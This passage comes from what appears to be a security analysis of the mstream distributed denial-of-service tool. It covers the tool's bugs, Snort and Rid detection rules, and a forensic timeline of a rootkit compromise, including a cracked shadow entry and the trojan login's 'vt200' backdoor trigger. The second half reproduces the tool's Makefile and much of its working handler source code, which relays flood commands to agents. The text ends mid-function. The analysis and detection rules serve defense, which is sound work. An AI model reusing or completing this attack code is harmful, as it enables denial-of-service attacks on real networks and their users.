    Flooding  an  agent  with  requests  will saturate its file handle
    limit and cause it to become unresponsive.  Since no  notification
    or acknowledgement  is made  to the  handler, one  can easily send
    >1024 commands to the agent. Most  floods are short, so it may  be
    possible to "squeeze in there".

    The agent process  is single-threaded, implying  that it will  not
    process incoming commands  while in mid-flood.   This renders  any
    ideas  about  remotely  crashing  or  halting  a  flooding   agent
    unworkable.

    The agent also will, in  multi-flood mode, flood all hosts  in the
    colon-delimited list equally  for the same  amount of time.   This
    seems  to  either  implicate  packet  loss  due  to  congestion or
    require  that  multiple  flooding  machines  with  different flood
    durations  were  in  play  to  explain evidence witnessed in argus
    flows at third party  sites, showing the side-effects  of multiple
    targets being hit at the  same time with spoofed IPs  (namely ICMP
    "Host Unreachable" packets and TCP RST packets).

    One thing that has been witnessed is that when there are  multiple
    targets which start at the  same time there is a  tailing-off with
    some targets being hit longer than others and the rate of  spoofed
    packets also seems to decline with time - sort of dwindling.

    The handler does  not automatically clean  up the file  containing
    the list of  known agents.   The stream and  mstream commands will
    blindly send commands  to agents that  no longer exist  but did at
    one time.

    The code attempts to avoid adding an ip address multiple times  to
    the list  of known  agents.   However, a  bug (common mistake with
    continue  and  nearest  loop)  causes  the  check  to  fail in its
    purpose so the same agent will have its ip address newly  recorded
    in  the  agent  list  each  time  it  notifies  the  handler  with
    "newserver".   As a  result, the  handler will  send ping, stream,
    and  mstream  commands  to  an  agent  however  many  times its ip
    address is recorded in the agent list.

    In server.c note the declaration:

        char *ipps[50]

    and the code snippet:

        if ((tmpip = strtok(ips, ":")) == NULL) continue;
        ipps[0] = (char *) malloc(strlen(tmpip)+2);
        strncpy(ipps[0], tmpip, strlen(tmpip)+2);
        y = 1;
        while ((tmpip = strtok(NULL, ":")) != NULL) {
          ipps[y] = (char *)malloc(strlen(tmpip)+2);
          strncpy(ipps[y], tmpip, strlen(tmpip)+2);
          y++;
          }
        ipps[y] = NULL;

    If  an  agent  receives  the  mstream  command containing a second
    argument  with  greater  than  50  colon-separated fields, it will
    merrily continue mallocing memory and stuffing the addresses  into
    ipps well past the array  bounds.  Could get interesting  when the
    following code attempts to free the malloced space:

        for (y = 0 ; ipps[y] != NULL ; y++) free(ipps[y]);

    The list could continue but  these are the major ones  that affect
    visible behavior.

    The next logical evolutionary steps
    ===================================
    It is not a stretch  to assume that features from  other published
    DDoS tools will make their way into tools like mstream.   Briefly,
    some likely enhancements to this code include:

        1) Adding source port filtering for connections to handler.
        2) Adding authentication between handler and agent.
        3) Packet size selection.
        4) Flags for flood packets (ACK, RST, NUL, random, whatever).
        5) Encryption for attacker<->handler traffic.
        6) More obfuscation of embedded commands.

    Appendix B - Example snort rules for detecting mstream
    ======================================================

        alert UDP any any -> any 6838 (msg: "IDS100/ddos-mstream-agent-to-handler"; content: "newserver"; )
        alert UDP any any -> any 10498 (msg: "IDS101/ddos-mstream-handler-to-agent"; content: "stream/"; )
        alert UDP any any -> any 10498 (msg: "IDS102/ddos-mstream-handler-ping-to-agent" ; content: "ping";)
        alert UDP any any -> any 10498 (msg: "IDS103/ddos-mstream-agent-pong-to-handler" ; content: "pong";)
        alert TCP any any -> any 12754 (msg: "IDS109/ddos-mstream-client-to-handler"; flags: S;)
        alert TCP any 12754 -> any any (msg: "IDS110/ddos-mstream-handler-to-client"; content: ">"; flags: AP;)
        alert TCP any any -> any 15104 (msg: "IDS111/ddos-mstream-client-to-handler"; flags: S;)
        alert TCP any 15104 -> any any (msg: "IDS112/ddos-mstream-handler-to-client"; content: ">"; flags: AP;)

    Appendix C - Rid templates for detecting mstream
    ================================================

        start mstream-wild
                send udp dport=10498 data="ping"
                recv udp dport=6838 data="pong" nmatch=2
        end mstream-wild
        start mstream-published
                send udp dport=7983 data="ping"
                recv udp dport=9325 data="pong" nmatch=2
        end mstream-published

    Appendix D - Initial Intrusion and Concealment on Agent system
    ==============================================================
    Examination  of  an  agent  system,  and  interviewing  the owner,
    identified  what  looks  like  possibly  two separate compromises.
    One sometime  before March  31, 2000  (a password  file entry  for
    "inertia" existed until removed by  the system owner on April  1),
    the transfer and installation of  a rootkit (lrk4) and DDoS  agent
    ("rpc.wall")  on  April  13  16:02  (all  times,  unless otherwise
    noted,  are  US/Pacific,  or  GMT-0700),  and  the marks of an ADM
    named attack and login  on April 15 05:55.   System logs had  been
    deleted  and/or  scrubbed,  so  log  evidence  was  not  useful in
    determining what occurred on the system.

    Some  of  these  activities  can  still  be  identified  using the
    "mactime"  program,  part  of  Dan  Farmer  and  Wietse   Venema's
    "Coroner's Toolkit".  [The date  "100" is,  obviously, a  Perl Y2K
    bug  in  the  "mactime"  program.   This  software  was graciously
    provided by Dan Farmer, even  though it is not publicly  available
    at  this  time.   It  definitely  shows  how  useful Unix forensic
    analysis tools can be.]

        Apr 13 100 16:02:42  12060 .aa -rwxr-xr-x root/www root     /bin/chown
                             12660 m.m -r-sr-xr-x root/www bin      /bin/login
        Apr 13 100 16:02:43  2048 mcmc drwxr-xr-x root/www root     /bin
                             12660  cc -r-sr-xr-x root/www bin      /bin/login
                            168748 .a. -rwxr-xr-x root/www root     /usr/bin/as
                             64796 .a. -rwxr-xr-x root/www root     /usr/bin/egcs
                             64796 .a. -rwxr-xr-x root/www root     /usr/bin/gcc
                             64796 .a. -rwxr-xr-x root/www root     /usr/bin/i386-redhat-linux-gcc
                            168496 .a. -rwxr-xr-x root/www root     /usr/bin/ld
                             12656 m.c -rws--x--x root/www root     /usr/bin/old
                             12656 m.c -r-xr-xr-x root/www bin      /usr/bin/xstat
                              2315 .a. -rw-r--r-- root/www root     /usr/include/_G_config.h
                              1313 .a. -rw-r--r-- root/www root     /usr/include/alloca.h
                              4090 .a. -rw-r--r-- root/www root     /usr/include/arpa/inet.h
                              3451 .a. -rw-r--r-- root/www root     /usr/include/bits/byteswap.h
                             13327 .a. -rw-r--r-- root/www root     /usr/include/bits/confname.h
                               168 .a. -rw-r--r-- root/www root     /usr/include/bits/endian.h
                              2283 .a. -rw-r--r-- root/www root     /usr/include/bits/errno.h
                              5107 .a. -rw-r--r-- root/www root     /usr/include/bits/fcntl.h
                              4647 .a. -rw-r--r-- root/www root     /usr/include/bits/in.h
                              3406 .a. -rw-r--r-- root/www root     /usr/include/bits/posix_opt.h
                              2842 .a. -rw-r--r-- root/www root     /usr/include/bits/select.h
                              4673 .a. -rw-r--r-- root/www root     /usr/include/bits/sigset.h
                              1716 .a. -rw-r--r-- root/www root     /usr/include/bits/sockaddr.h
                              9033 .a. -rw-r--r-- root/www root     /usr/include/bits/socket.h
                              1297 .a. -rw-r--r-- root/www root     /usr/include/bits/stdio_lim.h
                              2015 .a. -rw-r--r-- root/www root     /usr/include/bits/time.h
                              4673 .a. -rw-r--r-- root/www root     /usr/include/bits/types.h
                              1781 .a. -rw-r--r-- root/www root     /usr/include/bits/uio.h
                              1798 .a. -rw-r--r-- root/www root     /usr/include/endian.h
                              2481 .a. -rw-r--r-- root/www root     /usr/include/errno.h
                              4579 .a. -rw-r--r-- root/www root     /usr/include/fcntl.h
                              9433 .a. -rw-r--r-- root/www root     /usr/include/features.h
                              5861 .a. -rw-r--r-- root/www root     /usr/include/getopt.h
                               973 .a. -rw-r--r-- root/www root     /usr/include/gnu/stubs.h
                             10291 .a. -rw-r--r-- root/www root     /usr/include/libio.h
                             17327 .a. -rw-r--r-- root/www root     /usr/include/netdb.h
                             10779 .a. -rw-r--r-- root/www root     /usr/include/netinet/in.h
                              1591 .a. -rw-r--r-- root/www root     /usr/include/netinet/in_systm.h
                              9086 .a. -rw-r--r-- root/www root     /usr/include/netinet/ip.h
                              4855 .a. -rw-r--r-- root/www root     /usr/include/netinet/tcp.h
                              2550 .a. -rw-r--r-- root/www root     /usr/include/rpc/netdb.h
                              6467 .a. -rw-r--r-- root/www root     /usr/include/stdint.h
                             20816 .a. -rw-r--r-- root/www root     /usr/include/stdio.h
                             27654 .a. -rw-r--r-- root/www root     /usr/include/stdlib.h
                             13245 .a. -rw-r--r-- root/www root     /usr/include/string.h
                              2104 .a. -rw-r--r-- root/www root     /usr/include/strings.h
                              4932 .a. -rw-r--r-- root/www root     /usr/include/sys/cdefs.h
                              3359 .a. -rw-r--r-- root/www root     /usr/include/sys/select.h
                              7996 .a. -rw-r--r-- root/www root     /usr/include/sys/socket.h
                              1577 .a. -rw-r--r-- root/www root     /usr/include/sys/sysmacros.h
                              5337 .a. -rw-r--r-- root/www root     /usr/include/sys/time.h
                              5299 .a. -rw-r--r-- root/www root     /usr/include/sys/types.h
                              1907 .a. -rw-r--r-- root/www root     /usr/include/sys/uio.h
                              9314 .a. -rw-r--r-- root/www root     /usr/include/time.h
                             36708 .a. -rw-r--r-- root/www root     /usr/include/unistd.h
                               874 .a. -rw-r--r-- root/www root     /usr/lib/crtn.o
                           1446620 .a. -rwxr-xr-x root/www root     /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/cc1
                             46816 .a. -rwxr-xr-x root/www root     /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/collect2
                             88444 .a. -rwxr-xr-x root/www root     /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/cpp
                              1424 .a. -rw-r--r-- root/www root     /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/crtend.o
                              5794 .a. -rw-r--r-- root/www root     /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/include/stdarg.h
                              9834 .a. -rw-r--r-- root/www root     /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/include/stddef.h
                            770000 .a. -rw-r--r-- root/www root     /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/libgcc.a
                              1957 .a. -rw-r--r-- root/www root     /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs
                               178 .a. -rw-r--r-- root/www root     /usr/lib/libc.so
                             69638 .a. -rw-r--r-- root/www root     /usr/lib/libc_nonshared.a
                              6162 .a. -rw-r--r-- 1046     squid    /usr/src/linux/include/asm-i386/errno.h
                              1492 .a. -rw-r--r-- 1046     squid    /usr/src/linux/include/asm-i386/socket.h
                               277 .a. -rw-r--r-- 1046     squid    /usr/src/linux/include/asm-i386/sockios.h
                               305 .a. -rw-r--r-- 1046     squid    /usr/src/linux/include/linux/errno.h
        Apr 13 100 16:02:44    702 mcmc -rwxr-xr-x root/www root     /etc/rc.d/rc.local
                              1024 mcmc drwxr-xr-x root/www root     /root/.ncftp
                                 9 mcmc lrwxrwxrwx root/www root     /root/.ncftp/history
                                 9 mcmc lrwxrwxrwx root/www root     /root/.ncftp/log
                                 9 mcmc lrwxrwxrwx root/www root     /root/.ncftp/trace
                             29696 m.c drwxr-xr-x root/www root     /usr/bin
                             17016 m.c -rwxr-xr-x root/www root     /usr/bin/rpc.wall
                              8460 .a. -rw-r--r-- root/www root     /usr/lib/crt1.o
                              1124 .a. -rw-r--r-- root/www root     /usr/lib/crti.o
                              1892 .a. -rw-r--r-- root/www root     /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/crtbegin.o
         . . .
        Apr 15 100 05:55:09    1024 mcmc drwxr-xr-x root/www root     /var/named
                              1024 mcmc drwxr-xr-x root/www root     /var/named/ADMROCKS
        Apr 15 100 05:56:19   20437 .a. -rwxr-xr-x root/www root     /usr/sbin/tcpd
        Apr 15 100 05:56:20      34 .aa -rw-r--r-- root/www root     /usr/libexec/awk/addy.awk
                             35628 .a. -rwxr-xr-x root/www root     /usr/sbin/in.telnetd
        Apr 15 100 05:56:26  159576 .a. -rwxr-xr-x root/www root     /usr/bin/pico
                               975 .a. -rw-r--r-- root/www root     /usr/share/terminfo/v/vt200
                               975 .a. -rw-r--r-- root/www root     /usr/share/terminfo/v/vt220

    From this listing, the following observations can be made:

    o On April 13 at 16:02, /bin/login was created and /bin/chown run.
    o At the  same time, the  compile was run  (gcc/egcs) and /bin/old
      and /bin/xstat  created.   Access times  on the  .h files listed
      show the program being compiled uses network libraries.
    o Next,  the /etc/rc.d/rc.local  file is  modified to  include the
      line "/usr/bin/rpc.wall" at the end, thus re-starting the  agent
      on  each  reboot.  ncftp  logging  files are modified (they were
      deleted and turned  into links to  /dev/null to disable  logging
      of ncftp file transfers.)
    o The  program  /usr/bin/rpc.wall  was  modified,  and  C  runtime
      libraries accessed, which implies it  was run.  (This cannot  be
      confirmed because the rootkit  prevented the program from  being
      seen  by  the  administrator,  who  also rebooted the system and
      restarted it, thus modifying the /usr/bin/rpc.wall access date.)
    o On  April 15  at 05:55,  it appears  that the  ADM named  buffer
      overrun exploit  was used  against this  system, followed within
      the  minute  access  to  a  tcpd  wrapped  service which invoked
      in.telnetd.         The     rootkit      configuration      file
      /usr/libexec/awk/addy.awk was also accessed.   [It is not  clear
      if  this  was  a  just  a coincidental second (third?) intrusion
      attempt.]
    o Six seconds later /usr/bin/pico  was run and the vt200  terminfo
      definition  was  accessed.   Since  the  trojan version of login
      contains the  string "vt200",  this confirms  the backdoor  that
      was installed two days earlier was used to gain root access.

    While the  /etc/passwd entry  for the  "inertia" account  had been
    deleted by the administrator of the system, the /etc/shadow  entry
    (original modification date not known) was not:

        inertia:iUCNir1cd8pI2:::::::

    The  password,  "hi",  was  cracked  in  a  fraction  of a second.
    Strings in "/bin/login" show the  classic trojan horse signs of  a
    path  to  a  non-standard  program ("/usr/bin/xstat") and embedded
    terminal type ("vt200") that triggers a root shell:

         . . .
        login
        /bin/sh
        /usr/bin/xstat
        TERM
        bcshjvmudzwxftejk
        vt200
        %s=%s
        init.c
         . . .

    Strings in "/bin/ls" and "/bin/ps"  show the names of the  rootkit
    configuration  files   to  be   "/usr/libexec/awk/files.awk"   and
    "/usr/libexec/awk/ps.awk" (respectively).   Another  configuration
    file is seen above,  "/usr/libexec/awk/addy.awk".  The big  tipoff
    that this  is a  standard Linux  rootkit is  the compiler inserted
    debugging  information  that  includes  the  (edited)  path to the
    source file, which  had better not  be a valid  path on Red  Hat's
    development system:

         . . .
        ls.c
        /home/XXXXX/stuff/lrk4/fileutils-3.13/src/
        gcc2_compiled.
        int:t1=r1;-2147483648;2147483647;
        char:t2=r2;0;127;
         . . .

    Since telnetd was  not otherwise used  on the system  (instead SSH
    was used  for remote  login), the  intruder placed  an entry (date
    unknown)  in   /etc/inetd.conf  to   run  in.telnetd   as  service
    "working":

         . . .
        #finger	stream	tcp	nowait	root	/usr/sbin/tcpd	in.fingerd
        #cfinger stream	tcp	nowait	root	/usr/sbin/tcpd	in.cfingerd
        #systat	stream	tcp	nowait	guest	/usr/sbin/tcpd	/bin/ps	-auwwx
        #netstat	stream	tcp	nowait	guest	/usr/sbin/tcpd	/bin/netstat	-f inet
        working	stream	tcp	nowait	root	/usr/sbin/tcpd	in.telnetd
         . . .

    The following entry was added (date unknown) to the  /etc/services
    file for this service:

        working		1120/tcp			# Kerberos working daemon

    This service port is shown in (edited) "lsof" output as listening:

        inetd      353     root    4u  IPv4        375               UDP *:talk
        inetd      353     root    5u  IPv4        376               UDP *:ntalk
        inetd      353     root    6u  IPv4        377               TCP *:working (LISTEN)
        inetd      353     root    8u  IPv4        378               TCP *:time (LISTEN)
        inetd      353     root   10u  IPv4        379               UDP *:time
        inetd      353     root   11u  IPv4        380               TCP *:auth (LISTEN)
        inetd      353     root   12u  IPv4        381               TCP *:linuxconf (LISTEN)

    It was noted earlier that the trojan version of /bin/login  allows
    access using  a terminal  type of  "vt200" (as  seen by strings in
    the  binary),  and  that  the  mactime  output  shows  the termcap
    entries  for  vt200   are  accessed  right   after  the   backdoor
    in.telnetd  was  accessed.   This  places  the  last  login to the
    system  using  this  backdoor  at  approximately 05:56 on April 15
    (per the system's clock).  This  is within the time window of  one
    of the attacks logged by the network operations engineers (Apr  15
    04:11:35 to 07:32:22).

    The code  was made  available anonymously  to Internet  community.
    It's not known if this source code has seen the light of day prior
    to now, so your mileage will definitely vary.

    Makefile:

    CC = gcc

    # -g is so i can debug it better :P
    # -Wall so i can be happy

    CFLAGS = -g -Wall

    all: master server

    clean:
	    rm -f master server

    master: master.c
	    $(CC) $(CFLAGS) -o master master.c

    server: server.c
	    $(CC) $(CFLAGS) -o server server.c

    master.c

    /* spwn */

    #define PASSWORD "sex"
    #define SERVERFILE ".sr"
    #define MASTER_TCP_PORT 6723
    #define MASTER_UDP_PORT 9325
    #define SERVER_PORT 7983
    #define MAXUSERS 3
    #define USED 1
    #define AUTH 2
    #define max(one, two) (one > two ? one : two)

    #define MAX_IP_LENGTH 17
    #define MAX_HOST_LENGTH 200

    #include <unistd.h>
    #include <sys/time.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdarg.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <fcntl.h>
    #include <errno.h>
    #include <string.h>
    #include <netdb.h>
    #include <sys/uio.h>
    #include <signal.h>

    /* prototypes for my functions */
    void sighandle (int);
    int maxfd (int, int);
    void prompt (int);
    void tof (char *);
    void fof (char *);
    void send2server (u_long, char *, ...);
    void forkbg (void);
    void nlstr (char *);
    void sendtoall (char *, ...);
    char *inet_ntoa (struct in_addr);
    u_long inet_addr (const char *);
    int findfree (void);
    /* end of prototypes */


    typedef struct _socks {
       int fd;
       int opts;
       int idle;
       char *ip;
    } socks;

    socks users[MAXUSERS];

    int main (int argc, char *argv[])
    {
         fd_set readset;
         int i, tcpfd, udpfd, socksize, pongs = 0;
         struct sockaddr_in udpsock, tcpsock, remotesock;
         struct timeval t;
         char ibuf[1024], obuf[1024], *arg[3];

       signal(SIGINT, sighandle);
       signal(SIGHUP, sighandle);
       signal(SIGSEGV, sighandle);

       socksize = sizeof(struct sockaddr);

       if ((tcpfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
          perror("socket");
          exit(0);
       }

       if ((udpfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
          perror("socket");
          exit(0);
       }

       tcpsock.sin_family = AF_INET;
       tcpsock.sin_port = htons(MASTER_TCP_PORT);
       tcpsock.sin_addr.s_addr = INADDR_ANY;
       memset(&tcpsock.sin_zero, 0, 8);

       if (bind(tcpfd, (struct sockaddr *)&tcpsock, sizeof(struct sockaddr)) == -1) {
          perror("bind");
          exit(0);
       }

       if (listen(tcpfd, MAXUSERS+1) == -1) {
          perror("listen");
          exit(0);
       }

       i = 1;

       if (setsockopt(tcpfd, SOL_SOCKET, SO_KEEPALIVE, (void *)&i, sizeof(int)) == -1) {
          perror("setsockopt");
          exit(0);
       }

       i = 1;

       if (setsockopt(tcpfd, SOL_SOCKET, SO_REUSEADDR, (void *)&i, sizeof(int)) == -1) {
          perror("setsockopt");
          exit(0);
       }

       if (fcntl(tcpfd, F_SETFL, O_NONBLOCK) == -1) {
          perror("fcntl");
          exit(0);
       }

       udpsock.sin_family = AF_INET;
       udpsock.sin_port = htons(MASTER_UDP_PORT);
       udpsock.sin_addr.s_addr = INADDR_ANY;
       memset(&udpsock.sin_zero, 0, 8);

       if (bind(udpfd, (struct sockaddr *)&udpsock, sizeof(struct sockaddr)) == -1) {
          perror("bind");
          exit(0);
       }

       i = 1;

       if (setsockopt(udpfd, SOL_SOCKET, SO_KEEPALIVE, (void *)&i, sizeof(int)) == -1) {
          perror("setsockopt");
          exit(0);
       }

       i = 1;

       if (setsockopt(udpfd, SOL_SOCKET, SO_REUSEADDR, (void *)&i, sizeof(int)) == -1) {
          perror("setsockopt");
          exit(0);
       }

       for (i = 0 ; i <= MAXUSERS ; i++) {
          users[i].opts = (0 & ~USED);
       }


       forkbg();

       t.tv_sec = 2;
       t.tv_usec = 1;

       for (;;) {

          for (i = 0 ; i <= MAXUSERS ; i++)
	    if (users[i].opts & USED)
	      if ((time(0) - users[i].idle) > 420) {
	         memset(&obuf, 0, sizeof obuf);
	         sprintf(obuf, "\nYou're too idle !\n");
	         send(users[i].fd, &obuf, strlen(obuf), 0);
	         close(users[i].fd);
	         users[i].opts &= ~USED;
	      }

          FD_ZERO(&readset);
          FD_SET(tcpfd, &readset);
          FD_SET(udpfd, &readset);

          for (i = 0 ; i <= MAXUSERS ; i++) {
	     if (users[i].opts & USED) FD_SET(users[i].fd, &readset);
          }

          if (select(maxfd(tcpfd, udpfd)+1, &readset, NULL, NULL, &t) == -1) continue;

          if (FD_ISSET(tcpfd, &readset)) {
	     int socknum;
	     u_long ip;
	     struct hostent *hp;

	     if ((socknum = findfree()) == -1) {
	        socknum = accept(tcpfd, (struct sockaddr *)&remotesock, &socksize);
	        close(socknum);
	        continue;
	     }

	     users[socknum].fd = accept(tcpfd, (struct sockaddr *)&remotesock, &socksize);
	     for (i = 0 ; i <= MAXUSERS ; i++) {
	        if (users[i].opts & USED) {
	           memset(&obuf, 0, sizeof obuf);
	           snprintf(obuf, (sizeof obuf)-1, "\nConnection from %s\n", inet_ntoa(remotesock.sin_addr));
	           send(users[i].fd, &obuf, strlen(obuf), 0);
	           prompt(users[i].fd);
	        }
	     }

	     users[socknum].opts = (USED & ~AUTH);
	     ip = remotesock.sin_addr.s_addr;
	     if ((hp = gethostbyaddr((char *)&ip, sizeof ip, AF_INET)) == NULL) {
	        users[socknum].ip = (char *) malloc(MAX_IP_LENGTH);
	        strncpy(users[socknum].ip, inet_ntoa(remotesock.sin_addr), MAX_IP_LENGTH-1);
	     } else {
	        users[socknum].ip = (char *) malloc(MAX_HOST_LENGTH);
	        strncpy(users[socknum].ip, hp->h_name, MAX_HOST_LENGTH-1);
	     }

	     users[socknum].idle = time(0);
          }

          if (FD_ISSET(udpfd, &readset)) {
	     memset(&ibuf, 0, sizeof ibuf);
	     if (recvfrom(udpfd, &ibuf, (sizeof ibuf)-1, 0, (struct sockaddr *)&remotesock, &socksize) <= 0) continue;
	     nlstr(ibuf);

	     if (!strcmp(ibuf, "newserver")) {
	        FILE *f;
	        char line[1024];
	        int i;

	        if ((f = fopen(SERVERFILE, "r")) == NULL) {
	           f = fopen(SERVERFILE, "w");
	           fclose(f);
	           continue;
	        }
	        while (fgets(line, (sizeof line)-1, f)) {
	           nlstr(line);
	           fof(line);
	           nlstr(line);
	           if (!strcmp(line, inet_ntoa(remotesock.sin_addr))) {
		      continue;
	           }
	        }
	        fclose(f);
	        if ((f = fopen(SERVERFILE, "a")) == NULL) continue;
	        memset(&obuf, 0, sizeof obuf);
	        snprintf(obuf,(sizeof obuf)-1, "%s\n", inet_ntoa(remotesock.sin_addr));
	        tof(obuf);
	        fprintf(f, "%s\n", obuf);
	        for (i = 0 ; i <= MAXUSERS ; i++)
	          if (users[i].opts & USED) {
		     memset(&obuf, 0, sizeof obuf);
		     snprintf(obuf, (sizeof obuf)-1, "\nNew server on %s.\n", inet_ntoa(remotesock.sin_addr));
		     send(users[i].fd, &obuf, strlen(obuf), 0);
		     prompt(users[i].fd);
	          }
	        fclose(f);
	     }

	     if (!strcmp(ibuf, "pong")) {
	        pongs++;
	        for (i = 0 ; i <= MAXUSERS ; i++) {
	           if (users[i].opts & USED) {
		      memset(&obuf, 0, sizeof obuf);
		      snprintf(obuf, (sizeof obuf)-1, "\nGot pong number %d from %s\n", pongs, inet_ntoa(remotesock.sin_addr));
		      send(users[i].fd, &obuf, strlen(obuf), 0);
		      prompt(users[i].fd);
	           }
	        }
	     }
          }

          for (i = 0 ; i <= MAXUSERS ; i++) {
	     if (users[i].opts & USED) {
	        if (FD_ISSET(users[i].fd, &readset)) {
	           if (!(users[i].opts & AUTH)) {
		      int x;

		      memset(&ibuf, 0, sizeof ibuf);
		      if (recv(users[i].fd, &ibuf, (sizeof ibuf)-1, 0) <= 0) {
		         int y;

		         users[i].opts = (~AUTH & ~USED);
		         memset(&obuf, 0, sizeof obuf);
		         snprintf(obuf, (sizeof obuf)-1, "%s has disconnected (not auth'd): %s\n", users[i].ip, strerror(errno));
		         for (y = 0 ; y <= MAXUSERS ; y++) if (users[y].opts & USED) {
			    send(users[y].fd, &obuf, strlen(obuf), 0);
			    prompt(users[y].fd);
		         }

		         close(users[i].fd);
		         free(users[i].ip);
		         continue;
		      }

		      users[i].idle = time(0);

		      for (x = 0 ; x <= strlen(ibuf) ; x++) {
		         if (ibuf[x] == '\n') ibuf[x] = '\0';
		         if (ibuf[x] == '\r') ibuf[x] = '\0';
		      }

		      if (strcmp(ibuf, PASSWORD)) {
		         int y;
		         memset(&obuf, 0, sizeof obuf);
		         snprintf(obuf, (sizeof obuf)-1, "Invalid password from %s.\n", users[i].ip);
		         for (y = 0 ; y <= MAXUSERS ; y++) if ((users[y].opts & USED) && (y != i)) {
			    send(users[y].fd, &obuf, strlen(obuf), 0);
			    prompt(users[y].fd);
		         }

		         free(users[i].ip);
		         close(users[i].fd);
		         users[i].opts = (~AUTH & ~USED);
		         continue;
		      }
		      for (x = 0 ; x <= MAXUSERS ; x++) {
		         if ((users[x].opts & USED) && (x != i)) {
			    memset(&obuf, 0, sizeof obuf);
			    snprintf(obuf, (sizeof obuf)-1, "\nPassword accepted for connection from %s.\n", users[i].ip);
			    send(users[x].fd, &obuf, strlen(obuf), 0);
			    prompt(users[x].fd);
		         }
		      }
		      users[i].opts |= AUTH;
		      prompt(users[i].fd);
		      continue;
	           }
	           memset(&ibuf, 0, sizeof ibuf);
	           if (recv(users[i].fd, &ibuf, (sizeof ibuf)-1, 0) <= 0) {
		      int y;

		      memset(&obuf, 0, sizeof obuf);
		      snprintf(obuf, (sizeof obuf)-1, "Lost connection to %s: %s\n", users[i].ip, strerror(errno));
		      for (y = 0 ; y <= MAXUSERS ; y++) if (users[y].opts & USED) {
		         send(users[y].fd, &obuf, strlen(obuf), 0);
		         prompt(users[y].fd);
		      }

		      free(users[i].ip);
		      close(users[i].fd);
		      users[i].opts = (~AUTH & ~USED);
		      continue;
	           }

	           arg[0] = strtok(ibuf, " ");
	           arg[1] = strtok(NULL, " ");
	           arg[2] = strtok(NULL, " ");
	           arg[3] = NULL;

	           if (arg[2]) nlstr(arg[2]);
	           if (!strncmp(arg[0], "stream", 6)) {
		      struct hostent *hp;
		      struct in_addr ia;
		      if ((!arg[1]) || (!arg[2])) {
		         memset(&obuf, 0, sizeof obuf);
		         sprintf(obuf, "Usage: stream <hostname> <seconds>\n");
		         send(users[i].fd, &obuf, strlen(obuf), 0);
		         prompt(users[i].fd);
		         continue;
		      }
		      if ((hp = gethostbyname(arg[1])) == NULL) {
		         memset(&obuf, 0, sizeof obuf);
		         snprintf(obuf, (sizeof obuf)-1, "Unable to resolve %s.\n", arg[1]);
		         send(users[i].fd, &obuf, strlen(obuf), 0);
		         prompt(users[i].fd);
		         continue;
		      }
		      memcpy(&ia.s_addr, &hp->h_addr, hp->h_length);
		      sendtoall("stream/%s/%s", inet_ntoa(ia), arg[2]);
		      memset(&obuf, 0, sizeof obuf);
		      snprintf(obuf, (sizeof obuf)-1, "Streaming %s for %s seconds.\n", arg[1], arg[2]);
		      send(users[i].fd, &obuf, strlen(obuf), 0);
	           }
	           if (!strncmp(arg[0], "quit", 4)) {
		      int y;

		      memset(&obuf, 0, sizeof obuf);
		      snprintf(obuf, (sizeof obuf)-1, "%s has disconnected.\n", users[i].ip);
		      for (y = 0 ; y <= MAXUSERS ; y++) if ((users[y].opts & USED) && y != i) {
		         send(users[y].fd, &obuf, strlen(obuf), 0);
		         prompt(users[y].fd);
		      }

		      free(users[i].ip);
		      close(users[i].fd);
		      users[i].opts = (~AUTH & ~USED);
		      continue;
	           }
	           if (!strncmp(arg[0], "servers", 7)) {
		      FILE *f;
		      char line[1024];

		      if ((f = fopen(SERVERFILE, "r")) == NULL) {
		         memset(&obuf, 0, sizeof obuf);
		         sprintf(obuf, "\nServer file doesn't exist, creating ;)\n");
		         send(users[i].fd, &obuf, strlen(obuf), 0);
		         f = fopen(SERVERFILE, "w");
		         fclose(f);
		         prompt(users[i].fd);
		         continue;
		      }
		      memset(&obuf, 0, sizeof obuf);
		      sprintf(obuf, "The following ips are known servers: \n");
		      send(users[i].fd, &obuf, strlen(obuf), 0);
		      while (fgets(line, (sizeof line)-1, f)) {
		         nlstr(line);
		         fof(line);
		         send(users[i].fd, &line, strlen(line), 0);
		      }
		      fclose(f);
	           }
	           if (!strncmp(arg[0], "help", 4) || !strncmp(arg[0], "commands", 8)) {
		      memset(&obuf, 0, sizeof obuf);
		      sprintf(obuf, "\nAvailable commands: \n");
		      send(users[i].fd, &obuf, strlen(obuf), 0);
		      memset(&obuf, 0, sizeof obuf);
		      sprintf(obuf, "stream\t\t--\tstream attack !\n");
		      send(users[i].fd, &obuf, strlen(obuf), 0);
		      memset(&obuf, 0, sizeof obuf);
		      sprintf(obuf, "servers\t\t--\tPrints all known servers.\n");
		      send(users[i].fd, &obuf, strlen(obuf), 0);
		      memset(&obuf, 0, sizeof obuf);
		      sprintf(obuf, "ping\t\t--\tping all servers.\n");
		      send(users[i].fd, &obuf, strlen(obuf), 0);
		      memset(&obuf, 0, sizeof obuf);
		      sprintf(obuf, "who\t\t--\ttells you the ips of the people logged in\n");
		      send(users[i].fd, &obuf, strlen(obuf), 0);
		      memset(&obuf, 0, sizeof obuf);
		      sprintf(obuf, "mstream\t\t--\tlets you stream more than one ip at a time\n");
		      send(users[i].fd, &obuf, strlen(obuf), 0);
	           }
	           if (!strncmp(arg[0], "who", 3)) {
		      int x;

		      memset(&obuf, 0, sizeof obuf);
		      sprintf(obuf, "\nCurrently Online: \n");
		      send(users[i].fd, &obuf, strlen(obuf), 0);

		      for (x = 0 ; x <= MAXUSERS ; x++) {
		         memset(&obuf, 0, sizeof obuf);
		         if (users[x].opts & USED && users[x].opts & AUTH) {
			    snprintf(obuf, (sizeof obuf)-1, "Socket number %d\t[%s]\n", x, users[x].ip);
			    send(users[i].fd, &obuf, strlen(obuf), 0);
		         }
		      }
		      memset(&obuf, 0, sizeof obuf);
		      sprintf(obuf, "\n");
